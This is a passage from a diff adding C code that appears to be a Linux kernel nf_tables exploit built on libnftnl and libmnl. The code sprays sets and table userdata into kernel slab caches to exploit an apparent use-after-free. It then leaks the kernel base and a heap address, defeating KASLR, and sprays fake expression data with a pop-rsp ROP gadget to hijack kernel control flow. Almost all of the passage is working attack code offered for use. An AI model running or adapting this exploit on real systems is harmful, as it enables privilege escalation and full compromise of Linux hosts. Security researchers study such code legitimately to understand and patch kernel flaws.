nftnl_set_elem_set(elem, NFTNL_SET_ELEM_USERDATA, elem_data, 0x80); + nftnl_set_elem_add(set1_elem, elem); + + char *set_name; + struct nftnl_set * sets_rbtree[SET_SPRAY_COUNT]; + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + asprintf(&set_name, "set%02hx", i); + + struct nftnl_set * set_spray = nftnl_set_alloc(); + nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name); + nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL); + nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100); + sets_rbtree[i] = set_spray; + } + + struct nftnl_set * sets_rbtree2[SET_SPRAY_COUNT]; + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + asprintf(&set_name, "set2%02hx", i); + + struct nftnl_set * set_spray = nftnl_set_alloc(); + nftnl_set_set_str(set_spray, NFTNL_SET_TABLE, table2_name); + nftnl_set_set_str(set_spray, NFTNL_SET_NAME, set_name); + nftnl_set_set_u32(set_spray, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS | NFT_SET_INTERVAL); + nftnl_set_set_u32(set_spray, NFTNL_SET_KEY_LEN, 64); + nftnl_set_set_u32(set_spray, NFTNL_SET_ID, i+100); + sets_rbtree2[i] = set_spray; + } + + struct nftnl_rule * rule_bind_chain_1_2 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2, NFTNL_RULE_CHAIN, chain1_name); + + struct nftnl_expr * expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain2_name); + nftnl_rule_add_expr(rule_bind_chain_1_2, expr_immediate); + + struct nftnl_rule * rule_lookup_set1 = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_TABLE, table1_name); + // nftnl_rule_set_str(rule_lookup_set1, NFTNL_RULE_CHAIN, chain2_name); + nftnl_rule_set_u32(rule_lookup_set1, NFTNL_RULE_CHAIN_ID, chain_id); + + struct nftnl_expr * expr_lookup = nftnl_expr_alloc("lookup"); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SREG, NFT_REG32_00); + nftnl_expr_set_str(expr_lookup, NFTNL_EXPR_LOOKUP_SET, set1_name); + nftnl_expr_set_u32(expr_lookup, NFTNL_EXPR_LOOKUP_SET_ID, 1337); + nftnl_rule_add_expr(rule_lookup_set1, expr_lookup); + + struct nftnl_chain * chains_victim2[VICTIM_SPARY_COUNT]; + struct nftnl_rule * rules_bind_victim_victim2[VICTIM_SPARY_COUNT]; + struct nftnl_rule * rules_victim2[VICTIM_SPARY_COUNT]; + + // Leak kaslr. Using nft_counter for LTS and Mitigation (v6.1) and nft_last for COS (v5.15) + struct nftnl_expr * expr_last; + + char* chain_victim2_name; + char rule_data[0x100] = {0,}; + + for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){ + asprintf(&chain_victim2_name, "c_%010hx", i); + + chains_victim2[i] = nftnl_chain_alloc(); + nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_TABLE, table2_name); + nftnl_chain_set_str(chains_victim2[i], NFTNL_CHAIN_NAME, chain_victim2_name); + nftnl_chain_set_u32(chains_victim2[i], NFTNL_CHAIN_FLAGS, NFT_CHAIN_BINDING); + + rules_bind_victim_victim2[i] = nftnl_rule_alloc(); + + nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rules_bind_victim_victim2[i], NFTNL_RULE_CHAIN, chain_victim_name); + + expr_immediate = nftnl_expr_alloc("immediate"); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_DREG, NFT_REG_VERDICT); + nftnl_expr_set_u32(expr_immediate, NFTNL_EXPR_IMM_VERDICT, NFT_GOTO); + nftnl_expr_set_str(expr_immediate, NFTNL_EXPR_IMM_CHAIN, chain_victim2_name); + nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_immediate); + + for(int j = 0 ; j < 8; j++){ + expr_last = nftnl_expr_alloc("last"); + nftnl_rule_add_expr(rules_bind_victim_victim2[i], expr_last); + } + + rules_victim2[i] = nftnl_rule_alloc(); + + memset(rule_data, 'b', 0x100); + + nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rules_victim2[i], NFTNL_RULE_CHAIN, chain_victim2_name); + nftnl_rule_set_data(rules_victim2[i], NFTNL_RULE_USERDATA, rule_data, 192-25-24); + + expr_last = nftnl_expr_alloc("last"); + nftnl_rule_add_expr(rules_victim2[i], expr_last); + } + + struct nftnl_rule * rule_target = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_target, NFTNL_RULE_TABLE, table3_name); + nftnl_rule_set_str(rule_target, NFTNL_RULE_CHAIN, chain_target_name); + nftnl_rule_set_data(rule_target, NFTNL_RULE_USERDATA, rule_data, 192-25-24); + + expr_last = nftnl_expr_alloc("last"); + nftnl_rule_add_expr(rule_target, expr_last); + + struct nftnl_rule * rule_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_del, NFTNL_RULE_TABLE, table1_name); + + struct nftnl_rule * rule_target_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_target_del, NFTNL_RULE_TABLE, table3_name); + nftnl_rule_set_str(rule_target_del, NFTNL_RULE_CHAIN, chain_target_name); + + struct nftnl_rule * rule_bind_chain_1_2_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 5); + + struct nftnl_set * set_delay = nftnl_set_alloc(); + nftnl_set_set_str(set_delay, NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_delay, NFTNL_SET_NAME, set_delay_name); + nftnl_set_set_u32(set_delay, NFTNL_SET_FLAGS, NFT_SET_ANONYMOUS); + nftnl_set_set_u32(set_delay, NFTNL_SET_KEY_LEN, 4); + nftnl_set_set_u32(set_delay, NFTNL_SET_ID, 1338); + + struct nftnl_set * set_delay_elems[SET_DELAY_ELEM]; + struct nftnl_set_elem * delay_elem; + + memset(key_data, 0, 0x100); + + for(int i = 0; i < SET_DELAY_ELEM; i++){ + set_delay_elems[i] = nftnl_set_alloc(); + + nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_TABLE, table1_name); + nftnl_set_set_str(set_delay_elems[i], NFTNL_SET_NAME, set_delay_name); + + delay_elem = nftnl_set_elem_alloc(); + + key_data[0]++; + + nftnl_set_elem_set(delay_elem, NFTNL_SET_ELEM_KEY, &key_data, 4); + nftnl_set_elem_add(set_delay_elems[i], delay_elem); + } + + size_t buf_size = MNL_SOCKET_BUFFER_SIZE * 100; + char *buf = malloc(buf_size); + int ret; + char read_data[0x1000] = {0,}; + + struct mnl_nlmsg_batch * batch; + int seq = 0; + struct nlmsghdr * nlh; + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, NLM_F_CREATE|NLM_F_ACK, seq++); + nftnl_table_nlmsg_build_payload(nlh, table3); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + ret = mnl_socket_recvfrom(nl, read_data, 0x1000); + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < SET_DELAY_ELEM/2; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < VICTIM_SPARY_COUNT; i++){ + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chains_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_target); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain_victim); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set1); + mnl_nlmsg_batch_next(batch); + + for(int i = 0 ; i < VICTIM_SPARY_COUNT/2; i++){ + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]); + mnl_nlmsg_batch_next(batch); + + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + for(int i = VICTIM_SPARY_COUNT/2 ; i < VICTIM_SPARY_COUNT; i++){ + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_victim2[i]); + mnl_nlmsg_batch_next(batch); + + for(int j = 0 ; j < TARGET_SPRAY_COUNT; j++){ + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rules_bind_victim_victim2[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del); + mnl_nlmsg_batch_next(batch); + + // create a delay to spray sets_rbtree[] + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work start + usleep(10 * 1000); + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, sets_rbtree[i]); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + } + + // wait for destroy work done + usleep(1000*1000); + + // spray nft_table->udata to kmalloc-cg-192 + struct nftnl_table * tables_fake_rule[FAKE_RULE_SPRAY_COUNT] = {0,}; + + uint64_t *fake_rule_data = malloc(1024); + memset(fake_rule_data, 'c', 1024); + + fake_rule_data[2] = 0xffff; // fake rule handle + fake_rule_data[2] |= (unsigned long) 1 << 56; // fake rule udata + fake_rule_data[3] = 0xff; // fake rule udata len + + for(int i = 0; i < FAKE_RULE_SPRAY_COUNT; i++){ + char *table_name; + asprintf(&table_name, "fake_rule_192_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_rule_data, 192); + + tables_fake_rule[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < TABLE_SPRAY/2; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_rule[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // do leak + struct nftnl_rule * rule_get; + + for(int i = 0; i < VICTIM_SPARY_COUNT; i++){ + asprintf(&chain_victim2_name, "c_%010hx", i); + + rule_get = nftnl_rule_alloc(); + nftnl_rule_set_str(rule_get, NFTNL_RULE_TABLE, table2_name); + nftnl_rule_set_str(rule_get, NFTNL_RULE_CHAIN, chain_victim2_name); + nftnl_rule_set_u64(rule_get, NFTNL_RULE_HANDLE, 0xffff); + + nlh = nftnl_rule_nlmsg_build_hdr(buf, NFT_MSG_GETRULE, family, NLM_F_ACK, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_get); + nftnl_rule_free(rule_get); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + memset(read_data, 0, 0x400); + + ret = mnl_socket_recvfrom(nl, read_data, 0x400); + + if(read_data[0x50] == 'c'){ + heap_addr1 = *(unsigned long*) &read_data[0xef]; + heap_addr2 = *(unsigned long*) &read_data[0xf7]; + + if(((heap_addr1 & 0xfff) % 0xc0) == 0) + heap_addr = heap_addr1; + else if(((heap_addr2 & 0xfff) % 0xc0) == 0) + heap_addr = heap_addr2; + else + heap_addr = 0; + + nft_last_ops = *(unsigned long*) &read_data[0x107]; + if(nft_last_ops > 0xffffffff00000000) + kbase = nft_last_ops - nft_last_ops_off; + + break; + } + } + + printf("kbase %lx heap_addr %lx\n", kbase, heap_addr); + + if(kbase == 0){ + // return; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_target_del); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work + usleep(500 * 1000); + + // spray nft_table->udata to kmalloc-cg-192 + struct nftnl_table * tables_rip_control[VICTIM_SPARY_COUNT*16] = {0,}; + + uint64_t *rip_control_data = malloc(1024); + + make_payload(rip_control_data); + + for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){ + char *table_name; + asprintf(&table_name, "rip_192_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, rip_control_data, 192); + + tables_rip_control[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < VICTIM_SPARY_COUNT*16; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_rip_control[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < SET_DELAY_ELEM/2; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + for(int i = SET_DELAY_ELEM/2; i < SET_DELAY_ELEM; i++){ + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set_delay_elems[i]); + mnl_nlmsg_batch_next(batch); + } + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + rule_bind_chain_1_2_del = nftnl_rule_alloc(); + + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_TABLE, table1_name); + nftnl_rule_set_str(rule_bind_chain_1_2_del, NFTNL_RULE_CHAIN, chain1_name); + nftnl_rule_set_u64(rule_bind_chain_1_2_del, NFTNL_RULE_HANDLE, 0xa); + + // spray nft_table->udata to kmalloc-cg-256 + struct nftnl_table * tables_fake_expr[FAKE_EXPR_SPRAY_COUNT] = {0,}; + + uint64_t *fake_expr_data = malloc(1024); + + memset(fake_expr_data, 'e', 1024); + + fake_expr_data[3] = heap_addr; + fake_expr_data[4] = kbase + pop_rsp_ret; + fake_expr_data[5] = heap_addr; + + for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT; i++){ + char *table_name; + asprintf(&table_name, "expr_256_%02hx", i); + + struct nftnl_table * table = nftnl_table_alloc(); + nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name); + nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0); + nftnl_table_set_data(table, NFTNL_TABLE_USERDATA, fake_expr_data, 256); + + tables_fake_expr[i] = table; + } + + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_chain_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWCHAIN, family, 0, seq++); + nftnl_chain_nlmsg_build_payload(nlh, chain2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, set1); + mnl_nlmsg_batch_next(batch); + + for(int i = 0; i < FAKE_EXPR_SPRAY_COUNT/2; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSETELEM, family, NLM_F_CREATE, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + for(int i = FAKE_EXPR_SPRAY_COUNT/2; i < FAKE_EXPR_SPRAY_COUNT; i++){ + nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++); + nftnl_table_nlmsg_build_payload(nlh, tables_fake_expr[i]); + mnl_nlmsg_batch_next(batch); + } + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELRULE, family, 0, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_bind_chain_1_2_del); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_rule_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWRULE, family, NLM_F_CREATE, seq++); + nftnl_rule_nlmsg_build_payload(nlh, rule_lookup_set1); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSET, family, 0, seq++); + nftnl_set_nlmsg_build_payload(nlh, set_delay); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_DELSETELEM, family, 0, seq++); + nftnl_set_elems_nlmsg_build_payload(nlh, set1_elem); + mnl_nlmsg_batch_next(batch); + + nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) { + err(1, "mnl_socket_send"); + } + + // wait for destroy work start + usleep(10 * 1000); + + for(int i = 0; i < SET_SPRAY_COUNT; i++){ + batch = mnl_nlmsg_batch_start(buf, buf_size); + + nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++); + mnl_nlmsg_batch_next(batch); + + nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWSET, family, NLM_F_CREATE, seq++); + nftnl_set_nlmsg_build_payload(nlh, sets_rbtree2[i]); + 